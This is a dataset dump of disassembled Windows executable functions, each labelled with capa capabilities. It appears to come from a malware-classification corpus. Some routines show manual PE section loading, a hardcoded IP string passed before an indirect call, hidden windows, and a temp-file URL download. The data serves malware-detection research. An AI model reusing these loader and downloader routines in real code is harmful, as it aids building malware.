joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401db0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412b40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
xor edx, edx
push ebx
push esi
mov eax, dword [ecx + 4]
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx + 6]
cmp eax, edx
jge 0x401f37
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x401e6a
lea ecx, [ebp - 0x24]
push 0x417080
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x36
call fcn.004035f6
mov edx, dword [ebp + 0xc]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x401e64
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push 4
push 0x1000
mov eax, dword [ebx + 0xc]
push esi
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, 0x401f18
ret
lea eax, [ebp - 0x28]
push 0x417080
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x43
call fcn.004035f6
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
mov eax, 0x401eac
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412b50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
mov eax, dword [eax]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0
mov cx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
mov dword [ebp - 0x14], edi
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edx]
mov cx, word [eax + 6]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
jge 0x4020d1
mov eax, dword [edi + 0x24]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401ff7
lea edx, [ebp - 0x24]
push 0x417080
push edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x4b
call fcn.004035f6
mov eax, dword [ebp - 0x14]
push 0x4000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x4020b5
ret
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov ecx, dword [edx*4 + 0x54c0a0]
mov dword [ebp - 0x1c], ecx
je 0x402016
mov eax, ecx
or ah, 2
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x10]
test eax, eax
mov dword [ebp - 0x18], eax
jne 0x402078
lea edx, [ebp - 0x28]
push 0x417080
push edx
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x10
call fcn.004035f6
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x24]
test al, 0x40
je 0x402057
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov eax, 0x40206c
ret
test al, 0x80
je 0x402066
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov eax, 0x40206c
ret
jbe 0x4020bc
lea ecx, [ebp - 0x2c]
push 0x417080
push ecx
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c], 0xf
call fcn.004035f6
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x4020b5
ret
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x14]
inc ecx
add edi, 0x28
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], edi
jmp 0x401f8a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4024c0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x54c908
push 0x132000
push 0x41a0a0
call fcn.00402470
push 0x41a0a0
call fcn.004019d0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402505
mov eax, dword [esp + 0x10]
push eax
push ebx
call fcn.004017f0
add esp, 8
test eax, eax
jne 0x402509
push ebx
call fcn.00401690
add esp, 4
pop edi
pop esi
pop ebx
ret
sub esp, 0x848
mov ecx, 0x212
mov esi, str.198.44.248.25
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.00401690
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40b74d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x40b78f
call fcn.00412576
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x40b78f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x40b786
xor eax, eax
jmp 0x40b797
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0040b79d
pop edi
pop esi
pop ebx
ret 4

Function at 0x40c724
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x40c746
cmp dword [edi + 0x3c], 0
jne 0x40c746
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00412576
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0040c773
pop edi
pop esi
pop ebx
ret 8
Function at 0x40cab3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x412db8
call fcn.004037e8
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00412576
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x40caf2
call fcn.00412576
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40cb00
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40cb0e
or eax, 0xffffffff
jmp 0x40cbf6
mov ecx, esi
call fcn.0040ca29
mov dword [ebp - 0x14], eax
call fcn.00409b09
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x40cb45
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40cb45
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00409abd
push dword [ebp - 0x14]
call fcn.004095ee
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0040c7c1
cmp eax, edi
je 0x40cbb8
test byte [esi + 0x24], 0x10
je 0x40cb86
push 4
mov ecx, esi
pop ebx
call fcn.0040be68
test ah, 1
je 0x40cb7e
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0040b89f
cmp dword [esi + 0x1c], edi
je 0x40cbb8
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0040bef4
jmp 0x40cbb8
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x40cbcc
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40cbe5
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x40cbe5
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0040ca63
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x40153b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esp
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [esp + 0x2c], 1
je 0x401554
movzx esi, word [esp + 0x30]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x4044e0], eax
mov dword [ebp - 0x4c], 0x30
call fcn.0040152b
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x40120e
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], str.Trick
mov dword [ebp - 0x20], eax
call fcn.0040151e
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test eax, eax
je 0x401626
mov eax, 0x80000000
push edi
push dword [ebp - 0x38]
push edi
push edi
push eax
push eax
push eax
push eax
push 0x80
push str.Qindom
push str.Trick
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push eax
mov dword [0x4044e8], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x4044e8]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x401626
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x40160a
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b008]
jne 0x40100a
repz ret
jmp fcn.00401828

Function at 0x406403
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403380
and dword [ebp - 4], 0
cmp dword [0x44d250], 0
mov ebx, eax
jne 0x4064b4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406565
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406565
push eax
call fcn.0040330e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44d250], eax
call esi
push eax
call fcn.0040330e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44d254], eax
call esi
push eax
call fcn.0040330e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44d258], eax
call esi
push eax
call fcn.0040330e
pop ecx
mov dword [0x44d260], eax
test eax, eax
je 0x4064b4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040330e
pop ecx
mov dword [0x44d25c], eax
mov eax, dword [0x44d25c]
cmp eax, ebx
je 0x40650c
cmp dword [0x44d260], ebx
je 0x40650c
push eax
call fcn.00403389
push dword [0x44d260]
mov esi, eax
call fcn.00403389
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40650c
test edi, edi
je 0x40650c
call esi
test eax, eax
je 0x406503
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406503
test byte [ebp - 0xc], 1
jne 0x40650c
or dword [ebp + 0x10], 0x200000
jmp 0x406545
mov eax, dword [0x44d254]
cmp eax, ebx
je 0x406545
push eax
call fcn.00403389
pop ecx
test eax, eax
je 0x406545
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406545
mov eax, dword [0x44d258]
cmp eax, ebx
je 0x406545
push eax
call fcn.00403389
pop ecx
test eax, eax
je 0x406545
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44d250]
call fcn.00403389
pop ecx
test eax, eax
je 0x406565
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406567
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x446f30
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x44b008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x542dfc]
push esi
push edi
mov edi, dword [0x542c44]
mov esi, eax
cmp eax, 0x5dd
jne 0x446f6d
push 0
lea eax, [ebp - 0x404]
push eax
push str.tiwugowe
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x44c000]
call fcn.00446df0
cmp dword [0x542dfc], 0x2f
jne 0x446f88
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
push edi
call fcn.00446e30
add esp, 8
cmp dword [0x542dfc], 0x568
pop edi
pop esi
jne 0x446fb4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x402be0
Capabilities:
Delete file
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb50
push esi
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
imul eax, eax, 0x104
lea ecx, [ebp + eax - 0xb40]
mov dword [ebp - 0xb50], ecx
mov edx, dword [ebp - 0xb50]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
imul ecx, ecx, 0x104
lea esi, [ebp + ecx - 0xb40]
mov edx, dword [ebp - 8]
sub edx, 1
imul edx, edx, 0x104
lea eax, [ebp + edx - 0xb40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [esi + eax - 1], 0
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
mov dword [ebp - 0xc], 0xffffffff
xor edx, edx
je 0x402c67
jmp 0x402cb0
mov dword [ebp - 0xb44], 0
jmp 0x402c82
mov eax, dword [ebp - 0xb44]
add eax, 1
mov dword [ebp - 0xb44], eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0xb44], eax
jge 0x402cb0
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xb44]
movsx eax, byte [edx]
cmp eax, 0x2f
jne 0x402cae
mov ecx, dword [ebp - 0xb44]
mov dword [ebp - 0xc], ecx
jmp 0x402c73
xor edx, edx
je 0x402cb9
jmp 0x402d6c
mov dword [ebp - 0xb48], 0
jmp 0x402cd4
mov eax, dword [ebp - 0xb48]
add eax, 1
mov dword [ebp - 0xb48], eax
mov ecx, dword [ebp - 0xb48]
cmp ecx, dword [ebp - 8]
jge 0x402d6c
push 0x104
mov edx, dword [ebp - 0xb48]
imul edx, edx, 0x104
lea eax, [ebp + edx - 0xb40]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
push edx
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 1
push 0
push 0
push 0x1f01ff
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xb4c], eax
cmp dword [ebp - 0xb4c], 0xffffffff
je 0x402d67
mov edx, dword [ebp - 0xb4c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x402d6c
jmp 0x402cc5
push 0
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x402db2
lea eax, [ebp - 0x118]
push eax
push 0
call fcn.00403680
add esp, 8
push 0x104
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402dc0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x402ef0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x402ef0
mov dword [ebp - 0x110], 0x27
push 0
push 0
push 0x4e
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0x27
lea edx, [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402ee3
cmp dword [ebp - 0x114], 0x27
jne 0x402ee3
mov ecx, dword [ebp - 0x13c]
mov dword [0x405898], ecx
mov edx, dword [ebp - 0x138]
mov dword [0x40589c], edx
mov eax, dword [ebp - 0x134]
mov dword [0x4058a0], eax
mov cl, byte [ebp - 0x130]
mov byte [0x4058a4], cl
lea edx, [ebp - 0x12f]
mov eax, dword [edx]
mov dword [0x406078], eax
mov ecx, dword [edx + 4]
mov dword [0x40607c], ecx
mov eax, dword [edx + 8]
mov dword [0x406080], eax
mov cl, byte [edx + 0xc]
mov byte [0x406084], cl
lea edx, [ebp - 0x122]
mov eax, dword [edx]
mov dword [0x406858], eax
mov ecx, dword [edx + 4]
mov dword [0x40685c], ecx
mov eax, dword [edx + 8]
mov dword [0x406860], eax
mov cl, byte [edx + 0xc]
mov byte [0x406864], cl
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4030b0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
mov dword [ebp - 0x36c], 0
mov dword [ebp - 0x504], 0
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 0x36c]
push eax
mov ecx, dword [ebp - 0x504]
push ecx
call sub.iphlpapi.dll_GetIpAddrTable
mov edx, dword [ebp - 0x36c]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x504], eax
push 0
lea eax, [ebp - 0x36c]
push eax
mov ecx, dword [ebp - 0x504]
push ecx
call sub.iphlpapi.dll_GetIpAddrTable
mov edx, dword [ebp - 0x504]
mov eax, dword [edx]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x500]
push ecx
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x40313b
mov al, 1
jmp 0x40330d
mov byte [ebp - 0x505], 1
xor edx, edx
je 0x40314b
jmp 0x4032f4
mov dword [ebp - 0x50c], 0
jmp 0x403166
mov eax, dword [ebp - 0x50c]
add eax, 1
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 4]
jae 0x4032f4
movzx edx, byte [ebp - 0x505]
test edx, edx
jne 0x403185
jmp 0x4032f4
mov eax, dword [ebp - 0x50c]
imul eax, eax, 0x18
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx + eax + 8]
mov dword [ebp - 0x168], edx
lea eax, [ebp - 0x368]
push eax
call sub.iphlpapi.dll_GetIfEntry
xor ecx, ecx
je 0x4031b0
jmp 0x403210
mov dword [ebp - 0x510], 0
jmp 0x4031cb
mov edx, dword [ebp - 0x510]
add edx, 1
mov dword [ebp - 0x510], edx
cmp dword [ebp - 0x510], 0x72
jae 0x403210
mov eax, dword [ebp - 0x50c]
imul eax, eax, 0x18
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx + eax + 4]
push edx
mov eax, dword [ebp - 0x510]
lea ecx, [eax*8 + 0x404170]
push ecx
call fcn.00402fd0
add esp, 8
movzx edx, al
test edx, edx
je 0x40320e
mov byte [ebp - 0x505], 0
jmp 0x403210
jmp 0x4031bc
movzx eax, byte [ebp - 0x505]
test eax, eax
jne 0x403220
jmp 0x4032f4
cmp dword [ebp - 0x148], 5
je 0x403236
cmp dword [ebp - 0x148], 4
jne 0x4032ef
push 2
push 4
mov ecx, dword [ebp - 0x50c]
imul ecx, ecx, 0x18
mov edx, dword [ebp - 0x504]
lea eax, [edx + ecx + 4]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyaddr]
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0
je 0x4032ef
mov ecx, dword [ebp - 0x514]
mov edx, dword [ecx]
push edx
call fcn.00402f00
add esp, 4
movzx eax, al
test eax, eax
je 0x403288
mov byte [ebp - 0x505], 0
jmp 0x4032f4
mov dword [ebp - 0x518], 0
mov ecx, dword [ebp - 0x514]
mov edx, dword [ecx + 4]
mov eax, dword [ebp - 0x518]
cmp dword [edx + eax*4], 0
je 0x4032ef
mov ecx, dword [ebp - 0x514]
mov edx, dword [ecx + 4]
mov eax, dword [ebp - 0x518]
mov ecx, dword [edx + eax*4]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
push edx
call fcn.00402f00
add esp, 4
movzx eax, al
mov ecx, dword [ebp - 0x518]
add ecx, 1
mov dword [ebp - 0x518], ecx
test eax, eax
je 0x4032ed
mov byte [ebp - 0x505], 0
jmp 0x4032ef
jmp 0x403292
jmp 0x403157
mov edx, dword [ebp - 0x504]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov al, byte [ebp - 0x505]
mov esp, ebp
pop ebp
ret
Function at 0x403470
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x123
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x404568
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
push ecx
push str._08x
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x4035e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x123
push 0
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x404568
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
xor ecx, 0x3e80f31
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
push str._08x___1223a
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x4036c0
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0xc], 0x10
mov eax, dword [ebp - 0xc]
add eax, 4
cmp eax, 0x14
je 0x4036df
xor al, al
jmp 0x403806
push 0
push 0
push 3
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x403707
cmp dword [ebp - 0x14], 0xffffffff
jne 0x40370e
xor al, al
jmp 0x403806
mov dword [ebp - 0x10], 0
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x14
mov dword [ebp - 0x20], ecx
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x403754
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x403765
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403806
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 4
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40379d
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403806
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x1c]
je 0x4037b3
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403806
mov dword [ebp - 0x1c], 0x10
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4037e4
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403806
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x1c]
je 0x4037fa
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403806
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret